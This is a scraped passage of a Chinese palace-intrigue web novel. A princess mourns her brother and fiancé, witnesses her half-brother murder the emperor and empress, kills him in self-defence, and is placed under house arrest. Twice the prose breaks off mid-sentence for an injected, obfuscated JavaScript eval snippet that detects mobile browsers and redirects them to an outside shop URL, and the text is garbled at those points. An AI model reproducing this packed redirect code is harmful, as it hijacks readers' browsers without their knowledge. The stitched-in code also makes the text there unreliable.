大雨早就冲刷掉了地上的泥土和血迹,只剩下沈煦的剑还孤零零的躺在地上,以昭示这里曾有人存在过。 不远处的地方还找到了剑身剑鞘已然分离的剑,那是属于严晟的,因为从高处坠落,剑身都断成了两截,剩下一半已经被泥水掩埋。 饶是沈悠然再怎么不相信,眼前所见的种种,无一不在告诉着她严晟死了,哥哥也死了。 她站起身子,裙摆上的泥团加重了下摆的重量,又或者是她本就心神不宁,差点一个踉跄又倒回泥坑里。 不能倒,沈悠然在心里给自己默念着,不能倒。 “庄明阳在哪里?”沈悠然声音冷冷的,配上时而呼啸的寒风,恍惚间让人分不清到底是从哪传来的声音。 暗卫首领一脸的迷茫,“安信侯?” 沈悠然顿时了然,他们被盛兴帝派来搜寻太子和巡查使下落的,自然是不知道安信侯也与此有关。 “谁知道祥宁山庄的位置?”她对着人群大喊道,“带上一队人马,拿好武器,跟我上山。” 哗啦的雨声不仅遮挡住了视线,也掩盖了说话的声音。 沈悠然借着大声嚷叫的机会,抒发着心中的郁气。 为了搜山,所有人都将这里里外外打探清楚了,自然是知道祥宁山庄的位置。 沈煦身边的一个亲卫,当即站了出来。 他原本昨日就应该跟着沈煦进佘山的,但他老娘摔了一跤,一整晚都昏迷不醒,他熬了一个大夜,眼里全是血丝,出发之前被沈煦发现了。 沈煦便让他回家照顾母亲,带着其他的人出发了。 但没想到就是这一别,让他失去了这个体恤下属的首领,也失去了一起并肩作战的兄弟们。 沈煦这一趟带了十一个人,其余亲卫的尸身不在此处,是在掩护他二人逃走的路上尽数被杀,有几个兄弟几乎都被射成了刺猬。 之前还在和自己嚷嚷着要打赌明日长兴街那家豆腐店里的豆腐花是放鸡肉还是猪肉的兄弟们被雨水泡发得不成人样,他恨不得手刃仇人替他们报仇。 听到帝姬说祥宁山庄,那肯定就是和祥宁山庄有关,他一定要去! “帝姬,我给您带路!” 周围的人纷纷应和,沈悠然也没再继续耽搁,直接飞奔回去翻身上马。 上山的路陡,不得不得死命抓住缰绳,沈悠然娇嫩的掌心早就被磨得破了皮,再被雨水一冲刷,伤口边沿开始肿胀泛白,但她不觉得疼。 至少在看见祥宁山庄里空无一人之前,她都不觉得疼。 沈悠然根本没有心思叫门,直接让人将门撞开。 过了好一会儿才有两个仆从匆匆赶来,神色慌张且迷茫,大声叫嚷着来者何人,还说这是太后亲侄安信侯家的庄子,让歹人不要作恶。 沈悠然如同被当头一棒,庄明阳既知晓沈煦二人是去捉拿他的,定然不会让奴仆这么猖狂地爆出名号试图震慑,定是巴不得夹紧尾巴做人的。 这只能说,庄明阳没来过,这里的人对于昨夜的事根本就毫不知情。 难道……难道…… 所谓的庄明阳连夜潜逃到了佘山,根本就是为了引诱沈煦和严晟前来的骗局,为的就是趁着这里的地势复杂,将他们彻底诛杀在这里! 庄明阳他怎么敢……他怎么敢…… 脑子里不断地浮现出严晟远去的背影、临走前和哥哥赌的气、被泡的惨白浮肿的脸、血肉模糊看不清的模样…… 沈悠然终于是没忍住,一口血喷在了那还在喋喋不休地说要去禀告安信侯治他们一个藐视皇室宗亲之罪的奴仆脸上。 脚下的双腿再也没有力气支撑了,沈悠然觉得很累,双眼只想要阖上,好像这样就看不见眼前的这一切,好想这样就不会再经历这样的噩梦。 树枝上的乌鸦被暗卫们的惊呼声吓得漫天乱飞,此起彼伏叫喊着“帝姬”的声音是沈悠然昏迷前的最后一个感知。 怎么这么多人叫她,偏偏就听不见最想听的声音呢,她想。 * 颐华宫的香炉里燃着安神的草药。 沈悠然缓缓睁开眼,只觉得全身都是一阵酸疼,好像被千斤重的东西压住了一般,根本动弹不得,紧接着阵阵热气传来,好似有人把她架在火上烤。 她忍不住发出一声低咛,“母后……” 赵皇后被她惊醒,上前握住她的手,“母后在,皎皎,母后在……” 这满含担忧的互换让沈悠然从噩梦中醒来,看见母亲的那一刹,泪水就浸湿了眼眶。 在她的记忆力,母亲总是高雅端庄的模样,无论看谁的眼神里都透露着慈善,大家都为有这样的一国之母而感到庆幸。 沈悠然还从未见过她这样衣衫凌乱,面色惨白,还有泪痕交织的模样,耳鬓的发丝,也好似多了些许的灰白。 太憔悴了,这样的母后看起来太憔悴了。 但一想到是因为什么,沈悠然霎时间又忍不住了。 “母后……哥哥和严晟他们、他们……” 沈悠然哽咽着说不出话来,赵皇后连忙上前抱住她,替她顺着气。 “母后都知道了,都知道了……” “严晟和哥哥的……” 沈悠然觉得喉咙似乎被什么黏住了,那两个字怎么也说不出口。 “他们回家了吗?” 赵皇后擦着眼角的泪,冲着沈悠然点点头。 “昨日发现你不见了,我和你父皇都吓坏了,派人四处搜寻,得知你去了佘山,你父皇亲自去寻你,也就将你哥哥他们……接回家了。” “你淋了雨,发热了一整晚,你父皇也在这跟着守了一夜,一刻钟前才刚走去上朝。” “那……嫂嫂呢?” 沈悠然自己尚且接受不了,一想到还怀有身孕的嫂嫂,她只觉得揪心。 赵皇后伸手在沈悠然的额间反复试探着,不再似昨夜刚被接回来时那般烫手,只觉得终于是有一件让她能喘会儿气的事了。 “你嫂嫂昨日见了血,太医院的大夫看了一宿,如今已经没什么大碍了。” 那便好…… 沈悠然如同提线木偶一般呆愣愣的点点头,也不知道该继续再说些什么话才好。 或许应该说说哥哥和严晟,但她此刻只觉得这两个名字像是什么禁忌词一样,连说都无法说出口。 殿内的静谧没能持续多久,赵皇后身边的大宫女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986711|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵犀就脚步匆匆地进了殿。 一路上还差点撞到了角落里放着瓷瓶的架子。 自沈悠然记事起就从未见过灵犀姑姑这般失态,顿时就觉得不好,左胸腔好像变成了无底洞,一颗心不断地往下坠。 “皇后娘娘,不好了……陛下……在大殿上晕倒了。” 赵皇后噌的一声站了起来,抓住灵犀的手腕,神色慌张,“怎么回事,怎么突然晕倒了……” 盛兴帝身体康健,即便不用他亲征战场,但也时常念叨着得练功夫强身健体,他还想多替天下百姓做些事。 今晨走的时候,确实见他脚步虚浮,但还算是有精神,怎么会突然在大殿上晕倒? 灵犀忍着怒气与哭腔,将自己听到的消息尽数告知。 “昨日搜寻的人多,太子殿下遇难的事根本就瞒不住人。但谁曾想,一切的前因后果都未知,太子殿下的尸身也都还放在勤政殿内,那些老不死的东西居然敢……居然敢……” 她言语哽咽,好不容易才将那让她听了都想要将人乱刀砍死的话说出口。 “那些老东西,居然敢……让陛下早日侧立新的储君,以安民心!” “陛下只来得及斥责了一句话,就……就晕过去了。” 盛兴帝长子新丧不足两日,无人怜惜他的丧子之痛也就罢了,竟还有人这般急不可耐地让他选一个人来代替长子的位置。 这让他如何不急火攻心。 赵皇后闻言,心中只觉得慌得厉害,打听到盛兴帝被人送回了栖梧宫后,当即打算去看看。 沈悠然见状,掀开被褥,准备跟着一起去,但却被赵皇后止住了。 “外面大雨未停,你高热刚退,受不得风,好生歇息才是。” 像是怕沈悠然担心,赵皇后还轻轻地拍着她的脑袋,像小时候将她抱在怀里哄睡时那样。 “别怕,你父皇身体好着呢,不会有事的,母后去去就回来。” 她神色坚定,沈悠然知道自己无论如何都拧不过,便佯装乖巧应好。 赵皇后也是知晓她不会这般轻易放弃,将灵犀留在颐华宫中看守。 一直到赵皇后的身影在门外消失不见,沈悠然才说自己要喝水,但知道灵犀姑姑不放心,让她把自己的侍女青黛叫进来。 趁着灵犀看不见的地方,她无声地给青黛做了个口型,让她拖住灵犀。 从小这二人就没少试过这伎俩,默契十足,青黛便假装慌乱地将杯子摔落在地上,大喊着有毒。 事关帝姬安危,灵犀慌了神,上前查看的功夫却被青黛一整个囫囵抱住。 沈悠然也是趁这个功夫跑出去的。 因为身上没什么力气,沈悠然的动作并不快。 尽管栖梧宫和颐华宫之间离得很近,但她也颇费了一番功夫。 等她赶到的时候,恰巧遇见太医从栖梧宫中出来。 他们敢离开,那想必父皇已经醒来,昏迷的时间不长,应当也不是什么大事。 沈悠然松了一口气,继续往后殿的方向走去。 只是还不等她推开房门进去亲眼看看盛兴帝的时候,就听见了他怒气冲冲的声音。 “他沈照,无论如何都做不了这个皇帝!” 73. 第 73 章 沈悠然和沈照关系一直都不好,明明是住在一个宫里,却好像是见面只能点点头打招呼的关系。 甚至在沈悠然的记忆里,有几年都只有宫宴的时候见过面。 不同于一直住在宫中的沈煦,沈照自入仕之后,时常宿在府衙之中,一年到头非必要不会出现在宫中。 但沈悠然也并没有为此难过,她总觉得二哥看她和哥哥的眼神里,带着一丝让她说不清但又感到害怕的情绪,甚至为这样的疏远而感到庆幸。 但撇开沈照不谈,庄贵妃还活着的时候对她很好,沈悠然幼时还时常去她宫中玩,在她因为牙疼而被赵皇后勒令不准吃糕点时尤胜。 那时候的庄贵妃平日里太过低调,要不是有庄太后的威严和赵皇后的耳提面命不可苛待,想必宫里的人都忘记了还有这么一位主子的存在。 比起她的姑母庄太后来说,庄贵妃的性子简直是太好了,好到虽然庄贵妃的存在是在瓜分父皇的爱,但沈悠然依旧无法同她生出怨怼之心,只偶尔抱怨父皇。 只因无论发生什么事,庄贵妃总是会护着她,当真是无论何时。 就算是她去抢沈照的东西,庄贵妃也总是会让沈照退让,哪怕她并不占理。 赵皇后虽然平日里也很宠爱沈悠然,但也时刻监督着不能将她养成一个纨绔骄纵的帝姬,这就让幼时不懂事的沈悠然对无论何时都偏心自己的庄贵妃生出了亲近之意。 若非自己是母后的女儿,沈悠然定然会替庄贵妃抱打不平的——自沈悠然有记忆以来,盛兴帝从未曾单独踏足过庄贵妃宫中。 沈悠然以为只是因为庄贵妃迫于庄太后的威压不得不纳的妃子,但此刻听见父皇的话,她敏锐地察觉到事情并非如此简单。 再怎么,二皇兄都是父皇的孩子,父皇怎么会用如此……漠然的语气说出这句话呢。 沈悠然脚上动作一顿,她深知只要推开了这扇门,只要父皇和母后知道她在,定然不会再继续说下去。 她只能偷听,或许才能发现其中的秘密。 * 殿中的赵皇后看见盛兴帝怒不可遏的样子,和他同床共枕多年,立马猜到了他心中所想。 “陛下,你是怀疑……煦儿的死,和沈照有关?” 盛兴帝接过妻子递来的茶盏一饮而尽,随后闭眼顺着气。 “哪有这般巧合的事?一国储君遇害,大臣们不去害怕是否有人怀有造反之心,而是着急立下一个储君?就这么笃定对煦儿下手的人是冲着煦儿而不是冲着大盛来的?” “常望春的女儿是庄明阳的妻子,也就是沈照的舅母,他这番着急扶持沈照,敢说没有一点私心?” 在门外偷听的沈悠然心中一跳,觉得有些不对劲。 盛兴帝名义上是庄太后的儿子,那他和庄明阳就是表兄弟的关系,沈照也应该叫和自己一样叫庄明阳表叔,怎么会跟着庄贵妃那边的关系叫舅舅呢? 莫非是父皇对沈照的厌恶已经到了连让沈照按照皇家这边的规矩来都不愿意了? 沈悠然越听越迷茫,强撑着耐心继续往下听。 知晓内情的赵皇后可没有沈悠然这般疑惑,顺着盛兴帝的话一琢磨,发现煦儿如果出事的话,最大的受益者确实是沈照。 “可、可婉容她……她答应过,这辈子都不会让沈照和煦儿争皇位的,一旦那封密诏公之于众,沈照无论如何都坐不了这个皇位……” “怕就怕在,庄婉容什么都没跟沈照说过,待他翅膀硬了之后,就生出了其他的心思……” 赵皇后原本还在用勺子轻轻搅动着太医开来安神顺气的汤药,让它能够尽快凉下来,好递给盛兴帝喝。 清脆的叮当声响在听明白盛兴帝的话时彻底没了踪迹,她沉默了片刻,而后终于是忍不住开始抽噎。 “如果真的是这样、真的是这样、那我们岂不是……害了煦儿。” “都怪我、都怪我……怪我当初不该心软,不该因为看在庄婉容怀了孕就心软让他入了宫,这样沈照那孩子也不会记在皇家名下成为一个皇子,也就不会生出异心……” “都怪我、都怪我……这都是老天爷对我的惩罚、是祖宗在责怪我混淆皇室血脉。可他们要惩罚就惩罚我好了,为什么要、为什么要这样对我的煦儿……” 沈悠然花了两息的功夫,才意识到自己听到了什么…… 记在皇家名下、混淆皇室血脉…… 难道,沈照不是父皇的孩子? 沈悠然被脑子里突然冒出来的念头吓得倒退了两步,却没曾想撞上了一个人的胸膛。 竟还有人在这偷听,并且也听到了这等惊天秘密。 她惊骇地回过头,发现来人竟是赵皇后和盛兴帝口中那件事的主角,沈照。 “二……” 皇兄两个字在沈悠然的喉头打着转,她迟疑着,不知道如何该怎么面对沈照。 但沈照并没有给她时间犹豫,当即推开了栖梧宫后殿的大门。 “贼妇,你竟敢编造如此弥天大谎,也不怕沈家列祖列宗拿你问罪?” 沈悠然被他如此胆大妄为的话吓得呼吸都停滞了,但很快就反应过来,他骂的人是自己的母后。 “二皇兄!你疯了?”沈悠然上前推搡着他的后背,“你知不知道你在说什么?” 沈照回过头露出一个讥讽的笑容,很快又继续恶狠狠地看向赵皇后。 “我早知道你这贼妇人口中尽是谎话,否则母妃和我,也不会这么多年被你和你的儿子踩在脚下。” “父皇,你可千万不能听这贼妇的话,一定是她在搬弄是非,一定是她害怕母妃夺走您的宠爱,编出了这种滑天下之大稽的话来哄骗您的!” 沈照跪在盛兴帝面前,眼角噙着泪,“父皇,你清醒一点啊,您看看我,我是您的儿子啊。” “您是我最敬佩的父皇,自小我就特别努力,沈煦读书一个时辰,那我就读书两个时辰;沈煦做一篇诗文,那我就做两篇三篇;沈煦练习射箭,那我就去学骑射,我所做的一切,不都是为了让您能够看看我吗父皇?” “可您呢?您的眼里似乎只有这个贼妇和她的一双子女,您可曾记得,还有我和母妃的存在?” “母妃郁郁而终的时候,一定也是这个贼妇不让你去看母妃的!一定是这个贼妇不让母妃入陵园的!” 沈照想起这些年来受的苦,想到每次他欢欣鼓舞地拿着自己的成绩去找盛兴帝时,连一个笑都无法得到,想到每次有什么好东西,总是送到栖梧宫里,想到……盛兴帝看他吝啬施予的正眼。 他觉得胸口一阵阵的抽痛,快要喘不过气来。 “我知道因为祖母的缘故,母妃不得您的宠爱。可是我呢,父皇,我呢?我也是您的儿子啊,您怎么能任由这个贼妇肆意抹黑我和母妃呢?” 盛兴帝被他气得一口气差点抽不上来,不停地咳嗽着,脸色胀得一片紫红。 沈悠然鼻尖一酸,冲上去不停地拍着盛兴帝的后背帮他顺气,一旁的赵皇后手忙脚乱地找起了茶盏准备给他倒茶。 盛兴帝这才想起床榻边还摆着一个空茶盏,顺势就捏在掌心中,朝着沈照的方向扔了过去。 “你、你说……谁是贼妇,谁给你的、胆子,这样辱骂朕的皇后!” 沈照也没多,他看着眼前这一家人挤成一团的样子,只觉得一个茶盏打在身上,也不及心口痛。 “你的母亲庄婉容……” “陛下!”赵皇后连忙出声叫住他,“真的要说出来吗?” 盛兴帝也是被气急了,露出一个讥笑的笑,“你的儿子都死在他手里了,你还在心软什么?” “沈照,朕告诉你!当初太后以皇位为要挟让朕娶庄婉容的时候朕 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他的视线落在一旁的顺气汤药上,开始自言自语。 “一定是假的,假的,是你这个贼妇下了毒,对,是你下了毒……父皇你别信她,她下了毒,所以你才会神志不清说出这种胡话。” 他冲上前去一手打翻盛药的药盅,碎片散落了一地。 沈悠然看他动作有些不对,忍不住害怕,但还是咬着牙大喊道,“沈照,你别这样,我叫……” 话音还未落,她就看到沈照捡起一旁锐利的瓷片,一把刺进了……赵皇后的胸口。 变故来得太快,沈悠然觉得自己一瞬间说不出话来,手脚并用地往前爬,想要拉开沈照。 但沈照好像癫狂了一半,快速拔出瓷片,照着赵皇后的胸口又插了几下,嘴里不停地念叨着,“去死吧,贼妇,我让你胡言乱语,我让你胡言乱语……” 盛兴帝立马上前,一脚踹开沈照,他的掌心压在碎掉的瓷片上,浸出鲜血。 但盛兴帝无暇顾及沈照,蹲下身子将赵皇后抱在怀中,不住地哭喊着,“惠卿,惠卿,你怎么样……” “太医、太医!护卫、护驾!” 但盛兴帝和赵皇后之前知道谈论的话是不能被外人知晓的秘密,早就将殿内殿外的人支开了,沈悠然才能那么顺利地摸到门外。 也正是他们的这声嘱咐,断送了太医和护卫第一时间赶来的可能。 而沈照整个人似乎都有些不寻常。 盛兴帝习武,这一脚下去,本就是抱着要让沈照再也爬不起来的打算,下了死手。 但也不知道为什么,沈照却好像无事人一样,也不顾还嵌在掌心的碎瓷片,朝着盛兴帝冲了过来。 还在担心妻子的盛兴帝根本毫无防备,就这样将性命断送在了同样的手段下。 沈悠然看见不过眨眼的功夫,自己的父母就相继倒在眼前,终于是忍不住尖叫出了声。 而沈照缓缓转过头,动作诡异地像是四肢都不受他的控制了,看向沈悠然的目光里满是疑惑。 似乎是在疑惑她怎么在这里。 他恨以污言秽语污蔑他和母亲的赵皇后,也恨不拿正眼看自己的盛兴帝,但却沈悠然的恨意没有那么强烈。 而沈悠然也不知道哪里来的勇气,拔出了随身携带的匕首,冲着沈照挥舞着。 “沈照,你还我父皇母后!”她哭喊着出了声。 而沈照也像是被这声“父皇”给刺激到了。 她有父皇,那他呢?他叫了这么多年的父皇,又是谁呢? 沈照跌跌撞撞地握着瓷片,冲向沈悠然的方向。 沈悠然被吓得脚上动都动不了,只得双手举起匕首,闭上了眼。 她听见了利刃划破胸膛的声音。 74. 第 74 章 黏腻的鲜血从伤口处喷涌而出,落在沈悠然的脸上、手上,也滴答着落在地上。 没有设想中的疼痛袭来,但沈悠然却觉得自己已经忘了该怎么呼吸了。 好像她现在身处在地狱一般,她不敢睁开眼,怕看见父皇和母后的尸体,怕这一切是真的。 直到她听见一阵铁皮碰撞的声音,才意识到,是护廷卫来了。 守在栖梧宫外的内侍听见了沈悠然的尖叫声,原是想着进来看的,但又因为盛兴帝之前让他们退下的命令而不敢动。 但沈悠然的叫声太过凄厉,内侍心里万一殿中真的发生了什么事,他们头上的那顶脑袋也不够砍,便只能兵分两路,去告知了护廷卫和住在慈宁宫里的庄太后。 护廷卫离得近,匆匆赶来之后,血色还没蔓延到殿外。 但在场的所有人,都宁愿自己从未曾来过。 一国之君躺在血泊中没了生息,旁边还有双眼都没能闭上的皇后和二皇子。 只有帝姬双手紧紧握着一把满是血迹的匕首,孤零零地站着。 “帝姬……”有人大着胆子上前,叫了一声沈悠然的封号,“昭懿帝姬?” 沈悠然如梦初醒,手上的匕首霎那间落了地,发出清脆的叮当响。 “我……” 她一开口,就觉得自己的上下唇控制不住地在颤抖,又或者说,她整个人都是这样,止不住地抖动着 “我……” 话说不出口,也不知道该说什么。 可这样吞吞吐吐的模样,落在外人眼里,好似她心虚地说不出其他的话来。 护廷卫不敢进殿,只站在门外,但沈悠然依旧能听见人群里传来的窃窃私语。 “帝姬……杀人了?” “帝姬失心疯了?” “杀父弑母,连异母兄长也不放过?” “陛下是不是得罪了神明?先是太子出事,现在……” “谁给你们的胆子,敢在这里对皇家肆意置喙?” 一道威严的斥责声响起,沈悠然知道,是庄太后身边的常嬷嬷。 沈悠然看向紧随其后进来的庄太后,一时之间也说不清自己是什么情绪。 惊恐?害怕?亦或者,松了一口气? 不同于常嬷嬷的的声色俱厉,庄太后的声音略带沙哑,听起来不怒自威。 “将方才那几个嚼舌根的人拖下去拔了舌头乱棍打死。” “至于昭懿帝姬,先送回颐华宫吧。” “去请大理寺的刑侍郎来,这里发生的一切都不可乱动,哀家也不想在其他地方听见任何消息,可明白?” 眼看着同僚被带走,又有这番言语敲打,其余的人也不敢再多说什么,恨不得自己眼瞎耳聋,什么都不知道。 沈悠然如同行尸走肉一样,被庄太后带来的嬷嬷压着肩膀推搡着往前走。 出殿门的那一瞬,沈悠然转过头看了一眼。 再也没有人追到殿外,叮嘱着让她走路的时候别老是回头,得看着脚下的路,才能不摔跤。 再没有人了。 * 因为青黛打掩护让沈悠然跑了出去,灵犀很是气愤,罚她头顶茶盏跪地反省。 听到沈悠然回来的动静时,青黛还松了口气,想到救她的人总算是回来了。 也不顾违抗灵犀姑姑的命令,她直接站起来大喊道。 “帝……” 话没说完,她就看见了沈悠然像是一个犯人一样被人押着。 她在心里想着,不过是去找帝后,怎么会被人押着回来? 倒是灵犀看清了,这些事不是皇后宫中的,是太后的人。 但即便太后再怎么不喜欢帝姬,也从未像今日这般严苛对待过。 “这位嬷嬷,帝姬这是……” 嬷嬷们不理灵犀,但除了押解之外,动作上还算是客气,进殿后就放开了手。 “帝姬,外头动荡,为了您的安危,还请您在殿中好好修养,莫要随意走动了。” “至于您的婢女,恐与外人串通危害帝姬,先押下去看管,待一切尘埃落定之后,再回来伺候帝姬。” 这是打算将她架空软禁了? 若是在平日里,沈悠然定是要大闹一番,让人将这个嬷嬷绑起来,指不定还要倒打一耙把人送到慈宁宫里,说这嬷嬷误传太后旨意,要离间太后和她的祖孙情,最好是要大声叫嚷着要让整个后宫都知道。 但她现在没有那些心思去追究这些,也知道,自己这样做了,再也没有人给自己兜底了。 灵犀和青黛看见沈悠然自回来之后,就呆木地一句话也没有说,心中万分焦急,但又没有机会上前询问,被那些嬷嬷们赶出了颐华宫。 不仅是殿门,就连旁边的窗户,也尽数被从关上。 颐华宫一瞬间如同黑夜降临,沈悠然心中不由得一颤,恍若自己还留在尸身血海的栖梧宫里。 她浑身打着颤栗,手脚并用地趴上床榻,将自己蜷缩成一团。 “父皇、母后……” 她终于是忍不住,抽噎出了声。 但再也没有了母后拍着她脑袋低声细语的回应,也没有父皇焦急地问她是不是被谁欺负了。 也没有温暖的怀抱能够抚慰她几近麻木的身躯。 殿内的黑暗太过浓厚,连冰冷的石板都反射不出丝毫的天光,沈悠然觉得自己像是被扔进了漆黑的井底,终将被吞噬。 没有人会来救她,没有人了。 连日来的噩耗终于让她脑子里的那根弦断掉,再也忍不住崩溃地哭出了声。 “父皇、母后……” “严晟、哥哥……你们、你们在哪啊,为什么不管皎皎了呢……为什么呢?” 沈悠然抬头看看窗外,没有光,但她知道栖梧宫就在那个方向。 “不是说好要一辈子护着我的吗?骗子、严晟是骗子……全都是骗子。” 井底不断泛起了刺骨的潮水,逐渐淹没至她的胸口,让她呼吸不过来,只能将自己抱得更紧。 再紧一点,再紧一点,像她爱的那些人拥抱时那样,再紧一点。 * 沈悠然只有靠着门外的人送餐来,才能推算着日子过了多久。 餐食有专人送来,菜色和寻常一样,没有人敢在这个时候苛责她。 但也没有人敢和沈悠然多说什么,只匆匆放下盒子就走了,到点了再来收走。 到了第三日的时候,沈悠然终于是忍不住了,提前躲在门口,趁着那人伸了只手进来,眼疾手快地拉住了她的手腕。 来人是个眼生的宫女,因为年纪小,被沈悠然这么猛拽着吓了一跳,手上一抖,餐食散落一地。 “帝姬饶命、帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997639|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姬饶命!我、奴婢这就去让人重新……” 沈悠然不在乎没饭吃,尽管这两日里她都没用多少饭菜。 “外面怎么样了?父皇和母后的尸身下葬了吗?太子妃怎么样?” 度过了最开始难受的那几天,沈悠然觉得自己的眼泪都流干了,也就不想哭了。 但她不能总是被关在这里,哪怕被人误会是她杀了所有人,也至少要给她一个解释的机会。 但小宫女什么都不知道。 她只是临时被指派来给帝姬送饭的,很多事常嬷嬷不让她问,她也不敢问,每日匆匆送完饭就走了,根本不看多看一眼。 沈悠然见她不说话,让她等在原地,跑回自己的梳妆台边,随手抓了一把珠宝首饰,塞给小宫女。 “这些都给你,都给你,你告诉我好不好?” 小宫女不敢要,跪在地上抖着身子求饶,“帝姬,您饶了我吧,我真的不知道,如今太后娘娘暂管后宫,她什么都不让议论,我真的不知道。” 庄太后手腕强硬,但凡是有人谈论,连求饶的机会都不给,直接就扭送慎刑司。 她这种低等的小宫女,根本就没有机会去知道已经变天了。 沈悠然见她这模样,也知道问不出来什么了,遂不再为难她。 但首饰还是又重新被送回了小宫女手中。 “你帮我一个忙好不好,帮我打探一下东宫的情况,看看太子妃怎么样了!” 小宫女犹豫再三,没收沈悠然的东西,趁着守卫没看见的功夫,微弱地点了点头。 “皇后娘娘,是好人。” 她的话说得没头没尾,但沈悠然听懂了,一定是母后从前帮过她,她记着这个恩情,如今回过来报答。 等人走之后,沈悠然跌坐在地上,望着穹顶发呆。 就连死后,母后都还在庇佑着她。 她不能再这样消沉了,她得出去。 这几日里,沈悠然也不只是在哭,累了的时候,也在想这些天发生的事。 总觉得这一切好像都有些蹊跷,特别是沈照。 沈照虽然一直和他们不亲,但平日里根本就没有过这般怨恨的神态。 是他平日里隐藏得太好,还是被什么刺激了? 后来知晓了自己的身世后,他似乎一开始也不是那样的暴怒,感觉就像是从某一刻开始变成了那样。 他真的是哥哥遇险的背后主使吗? 沈悠然下意识地觉得不是这样。 如果沈照怨恨父皇和哥哥,那早在父皇将哥哥立为太子的时候就该有所计划,为什么是等到现在? 更何况哥哥死后,在大家都不知道他身世的情况下,他是顺理成章的储君第一人选,又怎么会怒气冲冲地赶来质问父皇。 他进殿时的表现,显然是还不知道自己继位无望的。 直觉告诉沈悠然,这件事在沈照这里还不算完,背后还有其他的阴谋。 但困在颐华宫里,她什么都做不了,她得先确认嫂嫂的情况,如果嫂嫂无恙,再计划着怎么出去。 前路一片未知,沈悠然很害怕,但却不会退缩。 至少,她得查明这一切,为了父皇母后,为了严晟哥哥,也为了自己。 就在她暗自下定决心的时候,她敏锐地听到了吱呀作响的开门声。 有人进来了。 75. 第 75 章 沈悠然看清来人是谁之后,鼻尖忍不住一酸。 但也仅仅是一酸,她现在已经没有眼泪可以流了。 “十四叔,”沈悠然嗓音有些喑哑,“你怎么来了?” 沈悠然小的时候沈嘉正倒是时常在颐华宫里带着她玩,沈悠然还跟着他学了不少“不学无术”的本事。 比如爬树、比如打鸟。 但后来沈悠然年纪大了,沈嘉正也时常去游山玩水,倒是来得少了。 算算上次踏足,还是沈悠然及笄那年,他跟在父皇身后,执意要亲自前来送礼。 一想到这里,沈悠然脑子里又浮现出了盛兴帝的模样,忍不住垂了眸挪开视线。 沈嘉正知道她现在难受,从前每次见面第一句总是调侃着小昭懿的,今天罕见地没有再开口打趣。 “十四叔来接你出去。”他说道,“再怎么难过,也不该把自己藏起来啊。” 沈悠然微微一愣,但很快就反应过来,这是沈嘉正找的场面话。 她是被庄太后软禁的,沈嘉正要带人出去,哪怕别人不说,门口的守卫肯定会告诉他这一点的。 但他没有明说,便是为了双方的面子。 旁人或许做不到,但身为庄太后的爱子,沈嘉正确实有这个能力。 原本还在头痛着该怎么出去的沈悠然此时看沈嘉正的目光不亚于是看见神明降世。 “十四叔,我可以出去了吗?” 沈悠然还有些踌躇,她怕沈嘉正是为了放走她而违抗庄太后的命令。 但沈嘉正只是敲了敲她的脑袋,“你先打扮打扮,十四叔在外面等你。” 沈悠然立马站了起来,就怕再多犹豫片刻,就发现这是梦。 至于打扮,沈悠然怎么可能还有这副心思,洗了把脸之后,就换上了一身浅白色的衣服。 她没经历过,但听说过,亲人去世,至亲的人应该着素色。 等她收拾好之后,沈嘉正才带她走出了殿外,外面的守卫皆不敢阻拦。 “我们先去栖梧宫吧,皇兄皇嫂……你该见见的。” 沈悠然点点头,跟在他的身后,听他诉说着这几日来发生的事。 虽然庄太后极力想要将那日栖梧宫里的事瞒下来,但实在是兹事体大,不久之后前朝后宫都知道,帝后和二皇子皆亡,现场只剩下一个昭懿帝姬。 虽然这凶手的人选看起来确实只剩下了沈悠然,但依旧有不少人觉得这不太可能。 一是帝后对帝姬如何,朝堂上下无一不知,只要帝后活着,昭懿帝姬就永远是大盛唯一的帝姬。更何况太子亡故之后储君的人选极大可能会落在同她不亲近的异母兄长身上,她就更没有立场杀掉帝后,让二皇子更早登基了。 二来,沈悠然一个女子,如果能毫发无损地杀掉两个正值壮年的男子和身体康健的皇后,不敢想她有多么大的能力。 以季丞相为首的大臣联合像庄太后进言,要求让大理寺彻查,让真相大白。 恰巧大理寺的那位刑侍郎也将调查后的发现写成了折子呈了上来,上面明确说了,帝后的死和帝姬当时手握的那把匕首并无关联。 帝后二人的死因皆为被边缘粗糙的锐器划破重要部位,根据他们身上的伤口来看,行凶的人曾多次持利器进行杀害行为,力道不像是一个普通女子所谓。 而那些看起来不平整的伤口和一旁的碎瓷片形状吻合,经过刑侍郎的进一步探查,发现同样的伤口还出现在了二皇子沈照的右手掌心。 显然是二皇子持碎瓷片作为凶器,残忍杀害了帝后二人。 至于二皇子之死,只能验明确实是死于匕首之下,事实就是帝姬杀死了二皇子。 匕首是从二皇子左胸下方,是一个斜向上的动作插入进去的。 按照两人的身高差距来说,这样面对面的伤口,刑侍郎更倾向于帝姬是在二皇子挥舞凶器时自保的无奈之举,否则以二皇子擅长骑射武术的身手来说,除非是从背后一击致命,否则很难不被躲开。 说到这里,沈嘉正顿了顿,好长时间没有再言语。 后面庄太后将折子按下不表,转头宣了靖王入宫,二人闭上门在慈宁宫中畅谈了许久的事,被他刻意隐瞒了。 沈嘉正知道自己母亲的心思,但他……确实没有趁机夺取皇位的打算。 沈悠然沉浸在自己的悲痛中,一时间也就没有觉察到沈嘉正的异常。 